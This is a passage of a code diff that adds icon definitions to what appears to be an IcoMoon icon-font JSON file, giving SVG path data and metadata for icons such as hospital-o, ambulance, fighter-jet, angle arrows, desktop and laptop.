"iconIdx": 219 + }, + { + "icon": { + "paths": [ + "M838.857 217.143c21.143 21.143 38.857 63.429 38.857 93.714v658.286c0 30.286-24.571 54.857-54.857 54.857h-768c-30.286 0-54.857-24.571-54.857-54.857v-914.286c0-30.286 24.571-54.857 54.857-54.857h512c30.286 0 72.571 17.714 93.714 38.857zM585.143 77.714v214.857h214.857c-3.429-9.714-8.571-19.429-12.571-23.429l-178.857-178.857c-4-4-13.714-9.143-23.429-12.571zM804.571 950.857v-585.143h-237.714c-30.286 0-54.857-24.571-54.857-54.857v-237.714h-438.857v877.714h731.429zM219.429 457.143c0-10.286 8-18.286 18.286-18.286h402.286c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-402.286c-10.286 0-18.286-8-18.286-18.286v-36.571zM640 585.143c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-402.286c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h402.286zM640 731.429c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-402.286c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h402.286z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "file-text-o" + ], + "defaultCode": 61686, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "file-text-o", + "id": 220, + "order": 1076, + "prevSize": 28, + "code": 61686 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 220 + }, + { + "icon": { + "paths": [ + "M219.429 749.714v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM219.429 603.429v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM365.714 603.429v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM219.429 457.143v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM658.286 749.714v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM512 603.429v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM365.714 457.143v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM219.429 310.857v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM658.286 603.429v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM512 457.143v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM365.714 310.857v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM219.429 164.571v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM658.286 457.143v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM512 310.857v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM365.714 164.571v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM658.286 310.857v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM512 164.571v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM658.286 164.571v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM512 950.857h219.429v-877.714h-658.286v877.714h219.429v-128c0-9.714 8.571-18.286 18.286-18.286h182.857c9.714 0 18.286 8.571 18.286 18.286v128zM804.571 36.571v950.857c0 20-16.571 36.571-36.571 36.571h-731.429c-20 0-36.571-16.571-36.571-36.571v-950.857c0-20 16.571-36.571 36.571-36.571h731.429c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "building-o" + ], + "defaultCode": 61687, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "building-o", + "id": 221, + "order": 1077, + "prevSize": 28, + "code": 61687 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 221 + }, + { + "icon": { + "paths": [ + "M219.429 749.714v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM219.429 603.429v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM365.714 603.429v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM219.429 457.143v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM658.286 749.714v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM512 603.429v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM365.714 457.143v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM658.286 603.429v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM512 457.143v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM658.286 457.143v36.571c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286zM512 950.857h219.429v-658.286h-146.286v18.286c0 30.286-24.571 54.857-54.857 54.857h-256c-30.286 0-54.857-24.571-54.857-54.857v-18.286h-146.286v658.286h219.429v-128c0-9.714 8.571-18.286 18.286-18.286h182.857c9.714 0 18.286 8.571 18.286 18.286v128zM512 274.286v-182.857c0-9.714-8.571-18.286-18.286-18.286h-36.571c-9.714 0-18.286 8.571-18.286 18.286v54.857h-73.143v-54.857c0-9.714-8.571-18.286-18.286-18.286h-36.571c-9.714 0-18.286 8.571-18.286 18.286v182.857c0 9.714 8.571 18.286 18.286 18.286h36.571c9.714 0 18.286-8.571 18.286-18.286v-54.857h73.143v54.857c0 9.714 8.571 18.286 18.286 18.286h36.571c9.714 0 18.286-8.571 18.286-18.286zM804.571 256v731.429c0 20-16.571 36.571-36.571 36.571h-731.429c-20 0-36.571-16.571-36.571-36.571v-731.429c0-20 16.571-36.571 36.571-36.571h182.857v-164.571c0-30.286 24.571-54.857 54.857-54.857h256c30.286 0 54.857 24.571 54.857 54.857v164.571h182.857c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hospital-o" + ], + "defaultCode": 61688, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hospital-o", + "id": 222, + "order": 1078, + "prevSize": 28, + "code": 61688 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 222 + }, + { + "icon": { + "paths": [ + "M365.714 804.571c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM146.286 512h219.429v-146.286h-90.286c-3.429 0.571-9.714 2.857-12.571 5.143l-111.429 111.429c-1.714 2.857-4.571 9.143-5.143 12.571v17.143zM877.714 804.571c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM950.857 420.571v-109.714c0-10.286-8-18.286-18.286-18.286h-128v-128c0-10.286-8-18.286-18.286-18.286h-109.714c-10.286 0-18.286 8-18.286 18.286v128h-128c-10.286 0-18.286 8-18.286 18.286v109.714c0 10.286 8 18.286 18.286 18.286h128v128c0 10.286 8 18.286 18.286 18.286h109.714c10.286 0 18.286-8 18.286-18.286v-128h128c10.286 0 18.286-8 18.286-18.286zM1097.143 109.714v658.286c0 20-16.571 36.571-36.571 36.571h-109.714c0 80.571-65.143 146.286-146.286 146.286-80.571 0-146.286-65.714-146.286-146.286h-219.429c0 80.571-65.143 146.286-146.286 146.286s-146.286-65.714-146.286-146.286h-73.143c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571v-237.714c0-20 11.429-48 25.714-62.286l113.143-113.143c14.286-14.286 42.286-25.714 62.286-25.714h91.429v-182.857c0-20 16.571-36.571 36.571-36.571h658.286c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 1133.7142857142856, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "ambulance" + ], + "defaultCode": 61689, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "ambulance", + "id": 223, + "order": 1079, + "prevSize": 28, + "code": 61689 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 223 + }, + { + "icon": { + "paths": [ + "M731.429 640v-109.714c0-10.286-8-18.286-18.286-18.286h-128v-128c0-10.286-8-18.286-18.286-18.286h-109.714c-10.286 0-18.286 8-18.286 18.286v128h-128c-10.286 0-18.286 8-18.286 18.286v109.714c0 10.286 8 18.286 18.286 18.286h128v128c0 10.286 8 18.286 18.286 18.286h109.714c10.286 0 18.286-8 18.286-18.286v-128h128c10.286 0 18.286-8 18.286-18.286zM365.714 219.429h292.571v-73.143h-292.571v73.143zM146.286 219.429v731.429h-18.286c-70.286 0-128-57.714-128-128v-475.429c0-70.286 57.714-128 128-128h18.286zM822.857 219.429v731.429h-621.714v-731.429h91.429v-91.429c0-30.286 24.571-54.857 54.857-54.857h329.143c30.286 0 54.857 24.571 54.857 54.857v91.429h91.429zM1024 347.429v475.429c0 70.286-57.714 128-128 128h-18.286v-731.429h18.286c70.286 0 128 57.714 128 128z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "medkit" + ], + "defaultCode": 61690, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "medkit", + "id": 224, + "order": 1080, + "prevSize": 28, + "code": 61690 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 224 + }, + { + "icon": { + "paths": [ + "M1097.143 548.571c0 0 0 18.286-164.571 54.857l-201.143 18.286-128 36.571h-36.571l-167.429 201.143h39.429c20 0 36.571 4 36.571 9.143s-16.571 9.143-36.571 9.143h-182.857v-18.286h36.571v-237.714h-91.429l-109.714 128h-54.857l-18.286-18.286v-109.714h18.286v-18.286h73.143v-4.571l-109.714-13.714v-73.143l109.714-13.714v-4.571h-73.143v-18.286h-18.286v-109.714l18.286-18.286h54.857l109.714 128h91.429v-237.714h-36.571v-18.286h182.857c20 0 36.571 4 36.571 9.143s-16.571 9.143-36.571 9.143h-39.429l167.429 201.143h36.571l128 36.571 201.143 18.286c164.571 36.571 164.571 54.857 164.571 54.857z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fighter-jet" + ], + "defaultCode": 61691, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "fighter-jet", + "id": 225, + "order": 1081, + "prevSize": 28, + "code": 61691 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 225 + }, + { + "icon": { + "paths": [ + "M365.714 512v-219.429h-146.286v146.286c0 40.571 32.571 73.143 73.143 73.143h73.143zM950.857 768v109.714h-658.286v-109.714l73.143-109.714h-73.143c-121.143 0-219.429-98.286-219.429-219.429v-182.857l-36.571-36.571 18.286-73.143h274.286l18.286-73.143h548.571l18.286 109.714-36.571 18.286v457.143z" + ], + "width": 987.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "beer" + ], + "defaultCode": 61692, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "beer", + "id": 226, + "order": 1082, + "prevSize": 28, + "code": 61692 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 226 + }, + { + "icon": { + "paths": [ + "M731.429 768v-512c0-20-16.571-36.571-36.571-36.571h-73.143c-20 0-36.571 16.571-36.571 36.571v182.857h-292.571v-182.857c0-20-16.571-36.571-36.571-36.571h-73.143c-20 0-36.571 16.571-36.571 36.571v512c0 20 16.571 36.571 36.571 36.571h73.143c20 0 36.571-16.571 36.571-36.571v-182.857h292.571v182.857c0 20 16.571 36.571 36.571 36.571h73.143c20 0 36.571-16.571 36.571-36.571zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "h-square" + ], + "defaultCode": 61693, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "h-square", + "id": 227, + "order": 1083, + "prevSize": 28, + "code": 61693 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 227 + }, + { + "icon": { + "paths": [ + "M731.429 548.571v-73.143c0-20-16.571-36.571-36.571-36.571h-182.857v-182.857c0-20-16.571-36.571-36.571-36.571h-73.143c-20 0-36.571 16.571-36.571 36.571v182.857h-182.857c-20 0-36.571 16.571-36.571 36.571v73.143c0 20 16.571 36.571 36.571 36.571h182.857v182.857c0 20 16.571 36.571 36.571 36.571h73.143c20 0 36.571-16.571 36.571-36.571v-182.857h182.857c20 0 36.571-16.571 36.571-36.571zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "plus-square" + ], + "defaultCode": 61694, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "plus-square", + "id": 228, + "order": 1084, + "prevSize": 28, + "code": 61694 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 228 + }, + { + "icon": { + "paths": [ + "M358.286 786.286c0 4.571-2.286 9.714-5.714 13.143l-28.571 28.571c-3.429 3.429-8.571 5.714-13.143 5.714s-9.714-2.286-13.143-5.714l-266.286-266.286c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l266.286-266.286c3.429-3.429 8.571-5.714 13.143-5.714s9.714 2.286 13.143 5.714l28.571 28.571c3.429 3.429 5.714 8.571 5.714 13.143s-2.286 9.714-5.714 13.143l-224.571 224.571 224.571 224.571c3.429 3.429 5.714 8.571 5.714 13.143zM577.714 786.286c0 4.571-2.286 9.714-5.714 13.143l-28.571 28.571c-3.429 3.429-8.571 5.714-13.143 5.714s-9.714-2.286-13.143-5.714l-266.286-266.286c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l266.286-266.286c3.429-3.429 8.571-5.714 13.143-5.714s9.714 2.286 13.143 5.714l28.571 28.571c3.429 3.429 5.714 8.571 5.714 13.143s-2.286 9.714-5.714 13.143l-224.571 224.571 224.571 224.571c3.429 3.429 5.714 8.571 5.714 13.143z" + ], + "width": 603.4285714285714, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "angle-double-left" + ], + "defaultCode": 61696, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "angle-double-left", + "id": 229, + "order": 1085, + "prevSize": 28, + "code": 61696 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 229 + }, + { + "icon": { + "paths": [ + "M340 548.571c0 4.571-2.286 9.714-5.714 13.143l-266.286 266.286c-3.429 3.429-8.571 5.714-13.143 5.714s-9.714-2.286-13.143-5.714l-28.571-28.571c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l224.571-224.571-224.571-224.571c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l28.571-28.571c3.429-3.429 8.571-5.714 13.143-5.714s9.714 2.286 13.143 5.714l266.286 266.286c3.429 3.429 5.714 8.571 5.714 13.143zM559.429 548.571c0 4.571-2.286 9.714-5.714 13.143l-266.286 266.286c-3.429 3.429-8.571 5.714-13.143 5.714s-9.714-2.286-13.143-5.714l-28.571-28.571c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l224.571-224.571-224.571-224.571c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l28.571-28.571c3.429-3.429 8.571-5.714 13.143-5.714s9.714 2.286 13.143 5.714l266.286 266.286c3.429 3.429 5.714 8.571 5.714 13.143z" + ], + "width": 566.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "angle-double-right" + ], + "defaultCode": 61697, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "angle-double-right", + "id": 230, + "order": 1086, + "prevSize": 28, + "code": 61697 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 230 + }, + { + "icon": { + "paths": [ + "M614.286 749.714c0 4.571-2.286 9.714-5.714 13.143l-28.571 28.571c-3.429 3.429-8 5.714-13.143 5.714-4.571 0-9.714-2.286-13.143-5.714l-224.571-224.571-224.571 224.571c-3.429 3.429-8.571 5.714-13.143 5.714s-9.714-2.286-13.143-5.714l-28.571-28.571c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l266.286-266.286c3.429-3.429 8.571-5.714 13.143-5.714s9.714 2.286 13.143 5.714l266.286 266.286c3.429 3.429 5.714 8.571 5.714 13.143zM614.286 530.286c0 4.571-2.286 9.714-5.714 13.143l-28.571 28.571c-3.429 3.429-8 5.714-13.143 5.714-4.571 0-9.714-2.286-13.143-5.714l-224.571-224.571-224.571 224.571c-3.429 3.429-8.571 5.714-13.143 5.714s-9.714-2.286-13.143-5.714l-28.571-28.571c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l266.286-266.286c3.429-3.429 8.571-5.714 13.143-5.714s9.714 2.286 13.143 5.714l266.286 266.286c3.429 3.429 5.714 8.571 5.714 13.143z" + ], + "width": 658.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "angle-double-up" + ], + "defaultCode": 61698, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "angle-double-up", + "id": 231, + "order": 1087, + "prevSize": 28, + "code": 61698 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 231 + }, + { + "icon": { + "paths": [ + "M614.286 493.714c0 4.571-2.286 9.714-5.714 13.143l-266.286 266.286c-3.429 3.429-8.571 5.714-13.143 5.714s-9.714-2.286-13.143-5.714l-266.286-266.286c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l28.571-28.571c3.429-3.429 8-5.714 13.143-5.714 4.571 0 9.714 2.286 13.143 5.714l224.571 224.571 224.571-224.571c3.429-3.429 8.571-5.714 13.143-5.714s9.714 2.286 13.143 5.714l28.571 28.571c3.429 3.429 5.714 8.571 5.714 13.143zM614.286 274.286c0 4.571-2.286 9.714-5.714 13.143l-266.286 266.286c-3.429 3.429-8.571 5.714-13.143 5.714s-9.714-2.286-13.143-5.714l-266.286-266.286c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l28.571-28.571c3.429-3.429 8-5.714 13.143-5.714 4.571 0 9.714 2.286 13.143 5.714l224.571 224.571 224.571-224.571c3.429-3.429 8.571-5.714 13.143-5.714s9.714 2.286 13.143 5.714l28.571 28.571c3.429 3.429 5.714 8.571 5.714 13.143z" + ], + "width": 658.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "angle-double-down" + ], + "defaultCode": 61699, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "angle-double-down", + "id": 232, + "order": 1088, + "prevSize": 28, + "code": 61699 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 232 + }, + { + "icon": { + "paths": [ + "M358.286 310.857c0 4.571-2.286 9.714-5.714 13.143l-224.571 224.571 224.571 224.571c3.429 3.429 5.714 8.571 5.714 13.143s-2.286 9.714-5.714 13.143l-28.571 28.571c-3.429 3.429-8.571 5.714-13.143 5.714s-9.714-2.286-13.143-5.714l-266.286-266.286c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l266.286-266.286c3.429-3.429 8.571-5.714 13.143-5.714s9.714 2.286 13.143 5.714l28.571 28.571c3.429 3.429 5.714 8 5.714 13.143z" + ], + "width": 384, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "angle-left" + ], + "defaultCode": 61700, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "angle-left", + "id": 233, + "order": 1089, + "prevSize": 28, + "code": 61700 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 233 + }, + { + "icon": { + "paths": [ + "M340 548.571c0 4.571-2.286 9.714-5.714 13.143l-266.286 266.286c-3.429 3.429-8.571 5.714-13.143 5.714s-9.714-2.286-13.143-5.714l-28.571-28.571c-3.429-3.429-5.714-8-5.714-13.143 0-4.571 2.286-9.714 5.714-13.143l224.571-224.571-224.571-224.571c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l28.571-28.571c3.429-3.429 8.571-5.714 13.143-5.714s9.714 2.286 13.143 5.714l266.286 266.286c3.429 3.429 5.714 8.571 5.714 13.143z" + ], + "width": 347.4285714285714, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "angle-right" + ], + "defaultCode": 61701, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "angle-right", + "id": 234, + "order": 1090, + "prevSize": 28, + "code": 61701 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 234 + }, + { + "icon": { + "paths": [ + "M614.286 676.571c0 4.571-2.286 9.714-5.714 13.143l-28.571 28.571c-3.429 3.429-8 5.714-13.143 5.714-4.571 0-9.714-2.286-13.143-5.714l-224.571-224.571-224.571 224.571c-3.429 3.429-8.571 5.714-13.143 5.714s-9.714-2.286-13.143-5.714l-28.571-28.571c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l266.286-266.286c3.429-3.429 8.571-5.714 13.143-5.714s9.714 2.286 13.143 5.714l266.286 266.286c3.429 3.429 5.714 8.571 5.714 13.143z" + ], + "width": 658.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "angle-up" + ], + "defaultCode": 61702, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "angle-up", + "id": 235, + "order": 1091, + "prevSize": 28, + "code": 61702 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 235 + }, + { + "icon": { + "paths": [ + "M614.286 420.571c0 4.571-2.286 9.714-5.714 13.143l-266.286 266.286c-3.429 3.429-8.571 5.714-13.143 5.714s-9.714-2.286-13.143-5.714l-266.286-266.286c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l28.571-28.571c3.429-3.429 8-5.714 13.143-5.714 4.571 0 9.714 2.286 13.143 5.714l224.571 224.571 224.571-224.571c3.429-3.429 8.571-5.714 13.143-5.714s9.714 2.286 13.143 5.714l28.571 28.571c3.429 3.429 5.714 8.571 5.714 13.143z" + ], + "width": 658.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "angle-down" + ], + "defaultCode": 61703, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "angle-down", + "id": 236, + "order": 1092, + "prevSize": 28, + "code": 61703 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 236 + }, + { + "icon": { + "paths": [ + "M1024 566.857v-475.429c0-9.714-8.571-18.286-18.286-18.286h-914.286c-9.714 0-18.286 8.571-18.286 18.286v475.429c0 9.714 8.571 18.286 18.286 18.286h914.286c9.714 0 18.286-8.571 18.286-18.286zM1097.143 91.429v621.714c0 50.286-41.143 91.429-91.429 91.429h-310.857c0 48.571 36.571 89.714 36.571 109.714s-16.571 36.571-36.571 36.571h-292.571c-20 0-36.571-16.571-36.571-36.571 0-21.143 36.571-60 36.571-109.714h-310.857c-50.286 0-91.429-41.143-91.429-91.429v-621.714c0-50.286 41.143-91.429 91.429-91.429h914.286c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "desktop" + ], + "defaultCode": 61704, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "desktop", + "id": 237, + "order": 1093, + "prevSize": 28, + "code": 61704 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 237 + }, + { + "icon": { + "paths": [ + "M237.714 731.429c-50.286 0-91.429-41.143-91.429-91.429v-402.286c0-50.286 41.143-91.429 91.429-91.429h621.714c50.286 0 91.429 41.143 91.429 91.429v402.286c0 50.286-41.143 91.429-91.429 91.429h-621.714zM219.429 237.714v402.286c0 9.714 8.571 18.286 18.286 18.286h621.714c9.714 0 18.286-8.571 18.286-18.286v-402.286c0-9.714-8.571-18.286-18.286-18.286h-621.714c-9.714 0-18.286 8.571-18.286 18.286zM1005.714 768h91.429v54.857c0 30.286-41.143 54.857-91.429 54.857h-914.286c-50.286 0-91.429-24.571-91.429-54.857v-54.857h1005.714zM594.286 822.857c5.143 0 9.143-4 9.143-9.143s-4-9.143-9.143-9.143h-91.429c-5.143 0-9.143 4-9.143 9.143s4 9.143 9.143 9.143h91.429z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "laptop" + ], + "defaultCode": 61705, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "laptop", + "id": 238, + "order": 1094, + "prevSize": 28, + "code": 61705 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 238 + }, + { + "icon": { + "paths": [ + "M365.714 804.571c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM585.143 713.143v-548.571c0-9.714-8.571-18.286-18.286-18.286h-475.429c-9.714 0-18.286 8.571-18.286 18.286v548.571c0 9.714 8.571 18.286 18.286 18.286h475.429c9.714 0 18.286-8.571 18.286-18.286zM658.286 164.571v621.714c0 50.286-41.143 91.429-91.429 91.429h-475.429c-50.286 0-91.429-41.143-91.429-91.429v-621.714c0-50.286 41.143-91.429 91.429-91.429h475.429c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 658.2857142857142, + "attrs": [], + 